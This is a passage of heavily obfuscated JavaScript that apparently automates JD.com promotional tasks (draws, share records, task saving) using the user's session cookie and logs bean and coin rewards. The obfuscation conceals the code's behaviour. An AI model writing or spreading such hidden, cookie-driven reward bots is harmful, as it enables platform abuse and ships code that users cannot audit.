_0x345ada=res[_0x44c0('11c')][i];if(_0x38f881[_0x44c0('14f')](_0x345ada[_0x44c0('13f')],_0x38f881[_0x44c0('150')]))num++;if(_0x38f881[_0x44c0('151')](_0x345ada[_0x44c0('13f')],_0x38f881[_0x44c0('150')]))value=_0x345ada[_0x44c0('141')][_0x44c0('142')]('京豆','');if(_0x38f881[_0x44c0('152')](_0x345ada[_0x44c0('13f')],_0x38f881[_0x44c0('150')]))console[_0x44c0('7')](''+(_0x38f881[_0x44c0('153')](jsonName[_0x345ada[_0x44c0('13f')]]||_0x345ada[_0x44c0('13f')],':')||'')+_0x345ada[_0x44c0('141')]);}else{$[_0x44c0('4d')](_0x5507ed,_0x40088f);}}finally{_0x4e62ed[_0x44c0('154')](_0x595fc9);}});}});}function getShareRecord(){var _0x7f2397={'nGIEo':_0x44c0('155'),'pJIUD':_0x44c0('156'),'yEmbi':_0x44c0('157'),'IfYmz':_0x44c0('158'),'xzPEj':_0x44c0('159'),'yYnjJ':function(_0x524bf4){return _0x524bf4();},'vxOUY':function(_0x509828,_0x4b0569){return _0x509828===_0x4b0569;},'RsKbT':_0x44c0('15a'),'eTRRR':_0x44c0('15b'),'zEpHJ':function(_0x39b292,_0x1db98a){return _0x39b292==_0x1db98a;},'NyOoX':_0x44c0('17'),'aGyCu':function(_0x5a96f7,_0x5cd8c2){return _0x5a96f7!==_0x5cd8c2;},'gXGSt':_0x44c0('15c'),'LGxbh':_0x44c0('15d'),'sFqzA':function(_0x28ec8a,_0x317b1f){return _0x28ec8a==_0x317b1f;},'vZPZb':_0x44c0('108'),'bmvPt':function(_0x4523b0,_0x435a36){return _0x4523b0===_0x435a36;},'mqvpe':_0x44c0('15e'),'IDzZP':_0x44c0('15f'),'AtJje':function(_0x10e0ea,_0x55fcb3){return _0x10e0ea==_0x55fcb3;},'GiIMT':_0x44c0('160'),'Wfcni':_0x44c0('161'),'xbrPo':_0x44c0('162'),'xpXQA':function(_0x539d39,_0x1fda52){return _0x539d39!==_0x1fda52;},'JjYgj':_0x44c0('163'),'VnxJA':function(_0x27c5b7){return _0x27c5b7();},'bJfei':function(_0x320771,_0xa589f6){return _0x320771(_0xa589f6);},'wAAeL':function(_0x2934d2,_0x562896,_0x2b1f40){return _0x2934d2(_0x562896,_0x2b1f40);}};return new Promise(_0x150016=>{var _0x42ea69={'VtsKL':_0x7f2397[_0x44c0('164')],'xMKcd':function(_0x215a68){return _0x7f2397[_0x44c0('165')](_0x215a68);}};let _0x5bde9c=_0x44c0('11e')+$[_0x44c0('32')]+_0x44c0('120')+_0x7f2397[_0x44c0('166')](encodeURIComponent,$[_0x44c0('6b')])+_0x44c0('11f')+$[_0x44c0('42')]+_0x44c0('167')+$[_0x44c0('42')];$[_0x44c0('122')](_0x7f2397[_0x44c0('168')](taskPostUrl,_0x44c0('169'),_0x5bde9c),async(_0xcba055,_0x29f7c1,_0x119dce)=>{var _0x350b2f={'Qmjdq':_0x7f2397[_0x44c0('16a')],'yzDxg':_0x7f2397[_0x44c0('16b')],'kZMPm':_0x7f2397[_0x44c0('16c')],'glGtl':_0x7f2397[_0x44c0('16d')],'vDDBg':_0x7f2397[_0x44c0('16e')],'GOEWH':function(_0x460455){return _0x7f2397[_0x44c0('16f')](_0x460455);}};try{if(_0xcba055){if(_0x7f2397[_0x44c0('170')](_0x7f2397[_0x44c0('171')],_0x7f2397[_0x44c0('172')])){console[_0x44c0('7')](_0x42ea69[_0x44c0('173')]);$[_0x44c0('15')]=!![];}else{if(_0x29f7c1[_0x44c0('45')]&&_0x7f2397[_0x44c0('174')](_0x29f7c1[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x7f2397[_0x44c0('164')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0xcba055));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}}else{if(_0x7f2397[_0x44c0('175')](_0x7f2397[_0x44c0('176')],_0x7f2397[_0x44c0('177')])){res=$[_0x44c0('12b')](_0x119dce);if(_0x7f2397[_0x44c0('178')](typeof res,_0x7f2397[_0x44c0('179')])){if(_0x7f2397[_0x44c0('17a')](res[_0x44c0('12d')],!![])&&res[_0x44c0('11c')]){if(_0x7f2397[_0x44c0('175')](_0x7f2397[_0x44c0('17b')],_0x7f2397[_0x44c0('17c')])){$[_0x44c0('de')]=res[_0x44c0('11c')][_0x44c0('37')];$[_0x44c0('7')](_0x44c0('17d')+res[_0x44c0('11c')][_0x44c0('37')]+'个');}else{console[_0x44c0('7')](''+(res[_0x44c0('103')]||''));}}else if(_0x7f2397[_0x44c0('17e')](typeof res,_0x7f2397[_0x44c0('179')])&&res[_0x44c0('103')]){if(_0x7f2397[_0x44c0('175')](_0x7f2397[_0x44c0('17f')],_0x7f2397[_0x44c0('180')])){console[_0x44c0('7')](''+(res[_0x44c0('103')]||''));}else{return{'url':_0x44c0('181')+functionId+_0x44c0('182'),'headers':{'Content-Type':_0x350b2f[_0x44c0('183')],'Origin':_0x350b2f[_0x44c0('184')],'Host':_0x350b2f[_0x44c0('185')],'accept':_0x350b2f[_0x44c0('186')],'User-Agent':$['UA'],'content-type':_0x350b2f[_0x44c0('187')],'Referer':_0x44c0('188')+functionId+_0x44c0('189')+functionId+_0x44c0('18a')+$[_0x44c0('32')]+_0x44c0('35')+$[_0x44c0('30')],'Cookie':cookie}};}}else{if(_0x7f2397[_0x44c0('17a')](_0x7f2397[_0x44c0('18b')],_0x7f2397[_0x44c0('18b')])){console[_0x44c0('7')](_0x119dce);}else{_0x350b2f[_0x44c0('18c')](_0x150016);}}}else{console[_0x44c0('7')](_0x119dce);}}else{_0x42ea69[_0x44c0('18d')](_0x150016);}}}catch(_0x4be8b){$[_0x44c0('4d')](_0x4be8b,_0x29f7c1);}finally{if(_0x7f2397[_0x44c0('18e')](_0x7f2397[_0x44c0('18f')],_0x7f2397[_0x44c0('18f')])){console[_0x44c0('7')](_0x119dce);}else{_0x7f2397[_0x44c0('16f')](_0x150016);}}});});}function draw(_0x1d805c){var _0xce574={'PMbcX':function(_0x3c9ba2,_0x346fe5){return _0x3c9ba2===_0x346fe5;},'oWYcw':_0x44c0('190'),'eZAKM':function(_0xb18948,_0x13ce27){return _0xb18948==_0x13ce27;},'kPmzR':_0x44c0('17'),'icgfH':function(_0x12a49a,_0x1d65ca){return _0x12a49a!==_0x1d65ca;},'FyPuA':_0x44c0('191'),'xIOss':_0x44c0('108'),'GxaZb':function(_0x7e84cc,_0x44ac16){return _0x7e84cc||_0x44ac16;},'oElzA':_0x44c0('192'),'SrXGo':function(_0x141e7f){return _0x141e7f();},'ZmgeP':function(_0x5a8f37,_0x14cac3){return _0x5a8f37(_0x14cac3);},'KaHbf':function(_0x324336,_0x1e9d95,_0x4d9228){return _0x324336(_0x1e9d95,_0x4d9228);}};return new Promise(_0x449286=>{var _0x9b7d1d={'dDHBs':function(_0x97b537,_0x5b39c5){return _0xce574[_0x44c0('193')](_0x97b537,_0x5b39c5);},'xhQWH':_0xce574[_0x44c0('194')],'rkSpD':function(_0x16f544,_0xabc87c){return _0xce574[_0x44c0('195')](_0x16f544,_0xabc87c);},'kCfTd':_0xce574[_0x44c0('196')],'Zeras':function(_0x5b2fe3,_0x54c04a){return _0xce574[_0x44c0('197')](_0x5b2fe3,_0x54c04a);},'DFvqN':_0xce574[_0x44c0('198')],'yYgby':_0xce574[_0x44c0('199')],'HWOfE':function(_0xa9c41e,_0x1ea709){return _0xce574[_0x44c0('193')](_0xa9c41e,_0x1ea709);},'ONWBN':function(_0x11d47a,_0x774e22){return _0xce574[_0x44c0('195')](_0x11d47a,_0x774e22);},'nVagk':function(_0x5bdea3,_0x2cf25c){return _0xce574[_0x44c0('19a')](_0x5bdea3,_0x2cf25c);},'GvkNf':_0xce574[_0x44c0('19b')],'PAVEC':function(_0x2400ad){return _0xce574[_0x44c0('19c')](_0x2400ad);}};let _0xe68073=_0x44c0('11e')+$[_0x44c0('32')]+_0x44c0('120')+_0xce574[_0x44c0('19d')](encodeURIComponent,$[_0x44c0('6b')]);const _0xf965a2=_0xce574[_0x44c0('19e')](taskPostUrl,_0x44c0('19f')+_0x1d805c,_0xe68073);$[_0x44c0('122')](_0xf965a2,async(_0x3a774f,_0x5440a7,_0x492496)=>{try{if(_0x3a774f){if(_0x9b7d1d[_0x44c0('1a0')](_0x9b7d1d[_0x44c0('1a1')],_0x9b7d1d[_0x44c0('1a1')])){if(_0x5440a7[_0x44c0('45')]&&_0x9b7d1d[_0x44c0('1a2')](_0x5440a7[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x9b7d1d[_0x44c0('1a3')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x3a774f));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}else{setcookie=setcookies[_0x44c0('11b')](',');}}else{if(_0x9b7d1d[_0x44c0('1a4')](_0x9b7d1d[_0x44c0('1a5')],_0x9b7d1d[_0x44c0('1a5')])){console[_0x44c0('7')](_0x44c0('1a6')+(_0x492496[_0x44c0('12d')][_0x44c0('1a7')][_0x44c0('1a8')]||''));$[_0x44c0('1a9')]=_0x492496[_0x44c0('12d')][_0x44c0('1aa')]&&_0x492496[_0x44c0('12d')][_0x44c0('1aa')][0x0]&&_0x492496[_0x44c0('12d')][_0x44c0('1aa')][0x0][_0x44c0('1ab')]&&_0x492496[_0x44c0('12d')][_0x44c0('1aa')][0x0][_0x44c0('1ab')][_0x44c0('32')]||'';}else{let _0x174190=$[_0x44c0('12b')](_0x492496);if(_0x9b7d1d[_0x44c0('1a2')](typeof _0x174190,_0x9b7d1d[_0x44c0('1ac')])){if(_0x9b7d1d[_0x44c0('1ad')](_0x174190[_0x44c0('12d')],!![])&&_0x174190[_0x44c0('11c')]){let _0x46c6cc=_0x174190[_0x44c0('11c')][_0x44c0('1ae')]&&(_0x9b7d1d[_0x44c0('1a2')](_0x174190[_0x44c0('11c')][_0x44c0('1ae')][_0x44c0('1af')],0x6)||_0x9b7d1d[_0x44c0('1b0')](_0x174190[_0x44c0('11c')][_0x44c0('1ae')][_0x44c0('1af')],0x15))&&_0x174190[_0x44c0('11c')][_0x44c0('1ae')][_0x44c0('22')]||'';console[_0x44c0('7')](_0x44c0('1b1')+_0x9b7d1d[_0x44c0('1b2')](_0x46c6cc,_0x9b7d1d[_0x44c0('1b3')]));if(!_0x46c6cc)console[_0x44c0('7')](_0x492496);}else if(_0x9b7d1d[_0x44c0('1b0')](typeof _0x174190,_0x9b7d1d[_0x44c0('1ac')])&&_0x174190[_0x44c0('103')]){console[_0x44c0('7')](_0x44c0('1b4')+(_0x174190[_0x44c0('103')]||''));}else{console[_0x44c0('7')](_0x492496);}}else{console[_0x44c0('7')](_0x492496);}}}}catch(_0x54c4cc){$[_0x44c0('4d')](_0x54c4cc,_0x5440a7);}finally{_0x9b7d1d[_0x44c0('1b5')](_0x449286);}});});}function getInitInfo(){var _0x33f086={'hDMqw':_0x44c0('17'),'BhCwX':function(_0x16705a,_0x29edad){return _0x16705a==_0x29edad;},'FsOjB':function(_0x3eede2,_0xea85ce){return _0x3eede2!=_0xea85ce;},'eeTUL':_0x44c0('53'),'ZEHck':function(_0x170353,_0x83e650){return _0x170353+_0x83e650;},'QaewD':_0x44c0('1a'),'ByBqd':_0x44c0('1c'),'ZRLrs':function(_0x2556de,_0x151e1b){return _0x2556de!=_0x151e1b;},'YSJeZ':function(_0x551428,_0x4aa879){return _0x551428+_0x4aa879;},'Zrqyb':function(_0x17f47d,_0x2eeab7){return _0x17f47d===_0x2eeab7;},'NOvNo':_0x44c0('1b6'),'wtpLu':_0x44c0('108'),'JuovF':_0x44c0('1b7'),'Wrsjr':function(_0x4f7650,_0x5769f2){return _0x4f7650==_0x5769f2;},'fiOBR':_0x44c0('1b8'),'OWqCQ':_0x44c0('1b9'),'EeZKv':_0x44c0('1ba'),'yrNmJ':_0x44c0('1bb'),'nATma':_0x44c0('1bc'),'svAGd':function(_0x598949){return _0x598949();},'RHDaf':function(_0x2ff882,_0x49652f){return _0x2ff882!==_0x49652f;},'xzNCQ':_0x44c0('1bd'),'gicpm':_0x44c0('1be'),'rgEBA':function(_0x325793,_0x3742f0){return _0x325793(_0x3742f0);},'SvKmF':function(_0xa6ed92,_0x3af4a4,_0x564832){return _0xa6ed92(_0x3af4a4,_0x564832);}};return new Promise(_0xd7a515=>{var _0x267293={'xLQqs':function(_0x52f16c,_0x357617){return _0x33f086[_0x44c0('1bf')](_0x52f16c,_0x357617);},'MISAL':_0x33f086[_0x44c0('1c0')],'ttKGW':function(_0x7a4da1,_0x3b4fae){return _0x33f086[_0x44c0('1c1')](_0x7a4da1,_0x3b4fae);},'wLpGb':_0x33f086[_0x44c0('1c2')],'FEtda':function(_0x4ac30a,_0x3ba4a5){return _0x33f086[_0x44c0('1c3')](_0x4ac30a,_0x3ba4a5);},'EWrHt':_0x33f086[_0x44c0('1c4')],'IczWb':_0x33f086[_0x44c0('1c5')],'leYnD':function(_0x44a5cc,_0x557afe){return _0x33f086[_0x44c0('1c6')](_0x44a5cc,_0x557afe);},'RpHDR':function(_0x1fdbcc,_0x48d5f1){return _0x33f086[_0x44c0('1c7')](_0x1fdbcc,_0x48d5f1);},'bbtFs':function(_0x5a9894,_0x12580f){return _0x33f086[_0x44c0('1c8')](_0x5a9894,_0x12580f);},'JvWxx':_0x33f086[_0x44c0('1c9')],'QLXfd':_0x33f086[_0x44c0('1ca')],'MHSsl':function(_0x2159a2,_0x30ea6b){return _0x33f086[_0x44c0('1c8')](_0x2159a2,_0x30ea6b);},'TnRAY':_0x33f086[_0x44c0('1cb')],'GSFvJ':function(_0x5c1a94,_0x1331da){return _0x33f086[_0x44c0('1cc')](_0x5c1a94,_0x1331da);},'nqvrA':_0x33f086[_0x44c0('1cd')],'JiEEY':_0x33f086[_0x44c0('1ce')],'qSXoz':_0x33f086[_0x44c0('1cf')],'tfLxc':function(_0x3dda9,_0x405d6c){return _0x33f086[_0x44c0('1c8')](_0x3dda9,_0x405d6c);},'VYkjX':_0x33f086[_0x44c0('1d0')],'miNVm':_0x33f086[_0x44c0('1d1')],'XsQfb':function(_0x4d01aa){return _0x33f086[_0x44c0('1d2')](_0x4d01aa);}};if(_0x33f086[_0x44c0('1d3')](_0x33f086[_0x44c0('1d4')],_0x33f086[_0x44c0('1d5')])){let _0x4e7103=_0x44c0('1d6')+$[_0x44c0('30')]+_0x44c0('1d7')+$[_0x44c0('32')]+_0x44c0('120')+_0x33f086[_0x44c0('1d8')](encodeURIComponent,$[_0x44c0('6b')])+_0x44c0('11f')+$[_0x44c0('42')]+_0x44c0('167')+$[_0x44c0('30')];$[_0x44c0('122')](_0x33f086[_0x44c0('1d9')](taskPostUrl,_0x44c0('1da'),_0x4e7103),async(_0x4a3add,_0x44273b,_0x2d9725)=>{var _0x7ec2db={'sGGmf':function(_0x26aea4,_0x26690c){return _0x267293[_0x44c0('1db')](_0x26aea4,_0x26690c);},'GhVVG':_0x267293[_0x44c0('1dc')],'TkNZI':function(_0x4eae62,_0xff4f2a){return _0x267293[_0x44c0('1dd')](_0x4eae62,_0xff4f2a);},'srrlR':_0x267293[_0x44c0('1de')],'aDChS':_0x267293[_0x44c0('1df')],'xedbN':function(_0x592440,_0x3dfdd4){return _0x267293[_0x44c0('1e0')](_0x592440,_0x3dfdd4);},'TXkGr':function(_0x2d78d5,_0x4e8326){return _0x267293[_0x44c0('1e1')](_0x2d78d5,_0x4e8326);}};try{if(_0x4a3add){if(_0x267293[_0x44c0('1e2')](_0x267293[_0x44c0('1e3')],_0x267293[_0x44c0('1e3')])){if(_0x44273b[_0x44c0('45')]&&_0x267293[_0x44c0('1e4')](_0x44273b[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x267293[_0x44c0('1e5')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x4a3add));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}else{if(_0x7ec2db[_0x44c0('1e6')](typeof res[_0x44c0('11c')][_0x44c0('74')],_0x7ec2db[_0x44c0('1e7')]))$[_0x44c0('74')]=res[_0x44c0('11c')][_0x44c0('74')];if(_0x7ec2db[_0x44c0('1e6')](typeof res[_0x44c0('11c')][_0x44c0('77')],_0x7ec2db[_0x44c0('1e7')]))$[_0x44c0('77')]=res[_0x44c0('11c')][_0x44c0('77')];}}else{let _0x500f0a=$[_0x44c0('12b')](_0x2d9725);if(_0x267293[_0x44c0('1e4')](typeof _0x500f0a,_0x267293[_0x44c0('1e8')])){if(_0x267293[_0x44c0('1e9')](_0x500f0a[_0x44c0('12d')],!![])&&_0x500f0a[_0x44c0('11c')]){var _0x380aeb=_0x267293[_0x44c0('1ea')][_0x44c0('11b')]('|'),_0x5bb216=0x0;while(!![]){switch(_0x380aeb[_0x5bb216++]){case'0':$[_0x44c0('b4')]=_0x500f0a[_0x44c0('11c')][_0x44c0('11d')];continue;case'1':$[_0x44c0('ae')]=_0x500f0a[_0x44c0('11c')][_0x44c0('ae')];continue;case'2':$[_0x44c0('9e')]=_0x500f0a[_0x44c0('11c')][_0x44c0('9e')];continue;case'3':$[_0x44c0('a3')]=_0x500f0a[_0x44c0('11c')][_0x44c0('a3')];continue;case'4':$[_0x44c0('aa')]=_0x500f0a[_0x44c0('11c')][_0x44c0('aa')];continue;case'5':$[_0x44c0('a6')]=_0x500f0a[_0x44c0('11c')][_0x44c0('a6')];continue;}break;}}else if(_0x267293[_0x44c0('1eb')](typeof _0x500f0a,_0x267293[_0x44c0('1e8')])&&_0x500f0a[_0x44c0('103')]){if(_0x267293[_0x44c0('1e9')](_0x267293[_0x44c0('1ec')],_0x267293[_0x44c0('1ec')])){console[_0x44c0('7')](_0x44c0('1ed')+(_0x500f0a[_0x44c0('103')]||''));}else{$[_0x44c0('7f')]=_0x500f0a[_0x44c0('11c')][_0x44c0('1ee')];$[_0x44c0('87')]=_0x500f0a[_0x44c0('11c')][_0x44c0('87')];$[_0x44c0('1ef')]=_0x500f0a[_0x44c0('11c')][_0x44c0('1ef')];}}else{console[_0x44c0('7')](_0x2d9725);}}else{if(_0x267293[_0x44c0('1e9')](_0x267293[_0x44c0('1f0')],_0x267293[_0x44c0('1f1')])){if(_0x44273b[_0x44c0('45')]&&_0x267293[_0x44c0('1e4')](_0x44273b[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x267293[_0x44c0('1e5')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x4a3add));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('1f2'));}else{console[_0x44c0('7')](_0x2d9725);}}}}catch(_0x39aff0){if(_0x267293[_0x44c0('1f3')](_0x267293[_0x44c0('1f4')],_0x267293[_0x44c0('1f5')])){if(_0x7ec2db[_0x44c0('1e6')](_0x7ec2db[_0x44c0('1f6')](guaopencard,''),_0x7ec2db[_0x44c0('1f7')])){console[_0x44c0('7')](_0x7ec2db[_0x44c0('1f8')]);}if(_0x7ec2db[_0x44c0('1f9')](_0x7ec2db[_0x44c0('1fa')](guaopencard,''),_0x7ec2db[_0x44c0('1f7')])){return;}}else{$[_0x44c0('4d')](_0x39aff0,_0x44273b);}}finally{_0x267293[_0x44c0('1fb')](_0xd7a515);}});}else{console[_0x44c0('7')](_0x33f086[_0x44c0('1c0')]);$[_0x44c0('15')]=!![];}});}function getproduct(){var _0x23c042={'DDIia':function(_0xc5b992,_0x111af1){return _0xc5b992!=_0x111af1;},'ylEVY':_0x44c0('53'),'SmSuc':_0x44c0('54'),'ECVmv':function(_0x3a50de,_0x37f69e){return _0x3a50de===_0x37f69e;},'rfHbV':_0x44c0('1fc'),'EnEgR':_0x44c0('1fd'),'uQONe':function(_0x3c40d2,_0x487e06){return _0x3c40d2==_0x487e06;},'OlJgn':_0x44c0('108'),'HoqIV':function(_0x1bf585,_0x2829ba){return _0x1bf585!==_0x2829ba;},'NwIDn':_0x44c0('1fe'),'mpKTA':function(_0x5b11bc,_0x343f2d){return _0x5b11bc===_0x343f2d;},'Lzvfh':function(_0x5342e5,_0x58e6ad){return _0x5342e5===_0x58e6ad;},'uJfTC':_0x44c0('1ff'),'DjhKE':function(_0x3fcd43){return _0x3fcd43();},'SWeGe':_0x44c0('200'),'imQhx':function(_0x935751,_0x414b48){return _0x935751(_0x414b48);},'HznxZ':function(_0x3ddbc9,_0x4a68dc,_0xbe8637){return _0x3ddbc9(_0x4a68dc,_0xbe8637);}};return new Promise(_0x1251cb=>{var _0x219783={'bOlOa':_0x23c042[_0x44c0('201')]};let _0x13786f=_0x44c0('202')+$[_0x44c0('32')]+_0x44c0('120')+_0x23c042[_0x44c0('203')](encodeURIComponent,$[_0x44c0('6b')])+_0x44c0('11f')+$[_0x44c0('42')]+_0x44c0('167')+$[_0x44c0('30')];$[_0x44c0('122')](_0x23c042[_0x44c0('204')](taskPostUrl,_0x44c0('205')+Date[_0x44c0('206')](),_0x13786f),async(_0x3ff89a,_0x2bf1af,_0x5a3ecf)=>{var _0x435ed7={'vDqbp':function(_0x2552e0,_0x6639bd){return _0x23c042[_0x44c0('207')](_0x2552e0,_0x6639bd);},'eOLnq':_0x23c042[_0x44c0('208')],'LGnow':_0x23c042[_0x44c0('209')]};if(_0x23c042[_0x44c0('20a')](_0x23c042[_0x44c0('20b')],_0x23c042[_0x44c0('20c')])){if(res[_0x44c0('11c')]&&_0x435ed7[_0x44c0('20d')](typeof res[_0x44c0('11c')][_0x44c0('20e')],_0x435ed7[_0x44c0('20f')]))$[_0x44c0('7a')]=res[_0x44c0('11c')][_0x44c0('20e')]||_0x435ed7[_0x44c0('210')];}else{try{if(_0x3ff89a){console[_0x44c0('7')](''+$[_0x44c0('48')](_0x3ff89a));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}else{let _0x382e37=$[_0x44c0('12b')](_0x5a3ecf);if(_0x23c042[_0x44c0('211')](typeof _0x382e37,_0x23c042[_0x44c0('212')])){if(_0x23c042[_0x44c0('213')](_0x23c042[_0x44c0('214')],_0x23c042[_0x44c0('214')])){console[_0x44c0('7')](''+$[_0x44c0('48')](_0x3ff89a));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('215'));}else{if(_0x23c042[_0x44c0('216')](_0x382e37[_0x44c0('12d')],!![])&&_0x382e37[_0x44c0('11c')]){if(_0x23c042[_0x44c0('217')](_0x23c042[_0x44c0('218')],_0x23c042[_0x44c0('218')])){$[_0x44c0('219')]=_0x382e37[_0x44c0('11c')];}else{url=_0x219783[_0x44c0('21a')];}}else if(_0x23c042[_0x44c0('211')](typeof _0x382e37,_0x23c042[_0x44c0('212')])&&_0x382e37[_0x44c0('103')]){console[_0x44c0('7')](title+'\x20'+(_0x382e37[_0x44c0('103')]||''));}else{console[_0x44c0('7')](_0x5a3ecf);}}}else{console[_0x44c0('7')](_0x5a3ecf);}}}catch(_0x4e97b3){$[_0x44c0('4d')](_0x4e97b3,_0x2bf1af);}finally{_0x23c042[_0x44c0('21b')](_0x1251cb);}}});});}function saveTask(_0x1c6d93,_0x1edbe0,_0x3bf2ff){var _0xf8d6c4={'uOZep':function(_0x3b0efe,_0x3d60cf){return _0x3b0efe==_0x3d60cf;},'BfBwZ':_0x44c0('17'),'hbxMA':function(_0x475d8e){return _0x475d8e();},'RSLOv':function(_0x480b39,_0x5e3dc){return _0x480b39!==_0x5e3dc;},'RbKDU':_0x44c0('21c'),'GMIgo':function(_0x1a41bc,_0x318d4c){return _0x1a41bc===_0x318d4c;},'qWGzf':_0x44c0('21d'),'YiTCx':_0x44c0('21e'),'xZpin':_0x44c0('21f'),'aASNK':_0x44c0('220'),'QZnzD':_0x44c0('108'),'Tqbps':_0x44c0('221'),'nFlyf':function(_0x5a66fa,_0x2d5be3){return _0x5a66fa||_0x2d5be3;},'Ruzwq':_0x44c0('192'),'flnzI':function(_0x4704f5,_0x3fb550){return _0x4704f5==_0x3fb550;},'GABvX':function(_0x255b7c,_0x41b6a3){return _0x255b7c!==_0x41b6a3;},'kvHFH':_0x44c0('222'),'CBDRZ':_0x44c0('223'),'siqBd':_0x44c0('224'),'zkceE':_0x44c0('225'),'LKokj':function(_0xa79328,_0x2a2266){return _0xa79328(_0x2a2266);},'VtosE':function(_0x3fb9b3,_0x425c6b,_0xd0c953){return _0x3fb9b3(_0x425c6b,_0xd0c953);}};return new Promise(_0x46e914=>{var _0x73517={'FcCDU':function(_0x3a2a17,_0xc83532){return _0xf8d6c4[_0x44c0('226')](_0x3a2a17,_0xc83532);},'FJRzC':_0xf8d6c4[_0x44c0('227')]};let _0x18e91c=_0x44c0('11e')+$[_0x44c0('32')]+_0x44c0('11f')+$[_0x44c0('42')]+_0x44c0('120')+_0xf8d6c4[_0x44c0('228')](encodeURIComponent,$[_0x44c0('6b')])+_0x44c0('35')+$[_0x44c0('30')]+_0x44c0('229')+_0x1edbe0+_0x44c0('22a')+_0x3bf2ff;$[_0x44c0('122')](_0xf8d6c4[_0x44c0('22b')](taskPostUrl,_0x44c0('22c'),_0x18e91c),async(_0x4bd840,_0x20badd,_0x3ff987)=>{var _0x470d1b={'MHsga':function(_0x143508,_0x344ad2){return _0xf8d6c4[_0x44c0('22d')](_0x143508,_0x344ad2);},'dbELa':_0xf8d6c4[_0x44c0('227')],'gZOqo':function(_0x54bab8){return _0xf8d6c4[_0x44c0('22e')](_0x54bab8);}};try{if(_0xf8d6c4[_0x44c0('22f')](_0xf8d6c4[_0x44c0('230')],_0xf8d6c4[_0x44c0('230')])){console[_0x44c0('7')](_0x44c0('231')+i[_0x44c0('232')]+i[_0x44c0('233')]+i[_0x44c0('234')]);}else{if(_0x4bd840){if(_0xf8d6c4[_0x44c0('235')](_0xf8d6c4[_0x44c0('236')],_0xf8d6c4[_0x44c0('237')])){if(_0x20badd[_0x44c0('45')]&&_0x470d1b[_0x44c0('238')](_0x20badd[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x470d1b[_0x44c0('239')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x4bd840));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}else{if(_0x20badd[_0x44c0('45')]&&_0xf8d6c4[_0x44c0('22d')](_0x20badd[_0x44c0('45')],0x1ed)){if(_0xf8d6c4[_0x44c0('235')](_0xf8d6c4[_0x44c0('23a')],_0xf8d6c4[_0x44c0('23a')])){console[_0x44c0('7')](_0xf8d6c4[_0x44c0('227')]);$[_0x44c0('15')]=!![];}else{setcookie=setcookies[_0x44c0('11b')](',');}}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x4bd840));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}}else{if(_0xf8d6c4[_0x44c0('22f')](_0xf8d6c4[_0x44c0('23b')],_0xf8d6c4[_0x44c0('23b')])){if(_0x20badd[_0x44c0('45')]&&_0x73517[_0x44c0('23c')](_0x20badd[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x73517[_0x44c0('23d')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x4bd840));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('23e'));}else{let _0x5b3ffd=$[_0x44c0('12b')](_0x3ff987);if(_0xf8d6c4[_0x44c0('22d')](typeof _0x5b3ffd,_0xf8d6c4[_0x44c0('23f')])){if(_0xf8d6c4[_0x44c0('235')](_0x5b3ffd[_0x44c0('12d')],!![])&&_0x5b3ffd[_0x44c0('11c')]){let _0x5ed454='';if(_0x5b3ffd[_0x44c0('11c')][_0x44c0('240')]){_0x5ed454='\x20'+_0x5b3ffd[_0x44c0('11c')][_0x44c0('240')]+'京豆';}if(_0x5b3ffd[_0x44c0('11c')][_0x44c0('241')]){if(_0xf8d6c4[_0x44c0('235')](_0xf8d6c4[_0x44c0('242')],_0xf8d6c4[_0x44c0('242')])){_0x5ed454='\x20'+_0x5b3ffd[_0x44c0('11c')][_0x44c0('241')]+'金币';}else{_0x470d1b[_0x44c0('243')](_0x46e914);}}console[_0x44c0('7')](_0x1c6d93+_0x44c0('244')+_0xf8d6c4[_0x44c0('245')](_0x5ed454,_0xf8d6c4[_0x44c0('246')]));}else if(_0xf8d6c4[_0x44c0('226')](typeof _0x5b3ffd,_0xf8d6c4[_0x44c0('23f')])&&_0x5b3ffd[_0x44c0('103')]){console[_0x44c0('7')](_0x1c6d93+'\x20'+(_0x5b3ffd[_0x44c0('103')]||''));}else{console[_0x44c0('7')](_0x3ff987);}}else{if(_0xf8d6c4[_0x44c0('247')](_0xf8d6c4[_0x44c0('248')],_0xf8d6c4[_0x44c0('249')])){console[_0x44c0('7')](_0x3ff987);}else{$[_0x44c0('4d')](e,_0x20badd);}}}}}}catch(_0x19e6bd){$[_0x44c0('4d')](_0x19e6bd,_0x20badd);}finally{if(_0xf8d6c4[_0x44c0('247')](_0xf8d6c4[_0x44c0('24a')],_0xf8d6c4[_0x44c0('24b')])){_0xf8d6c4[_0x44c0('22e')](_0x46e914);}else{console[_0x44c0('7')](_0x44c0('147')+(res[_0x44c0('103')]||''));}}});});}function getshopactivityId(_0xabccd5){var _0x3213a7={'vPKNx':_0x44c0('17'),'YPHkF':function(_0x6cc39d,_0x9e5ac8){return _0x6cc39d==_0x9e5ac8;},'CQcCB':function(_0x5990f9,_0x218e8f){return _0x5990f9===_0x218e8f;},'ABnpk':_0x44c0('24c'),'fKrdR':function(_0x260ee2,_0x55e386){return _0x260ee2!==_0x55e386;},'fNCuh':_0x44c0('24d'),'JgLFE':function(_0x4a6d7e){return 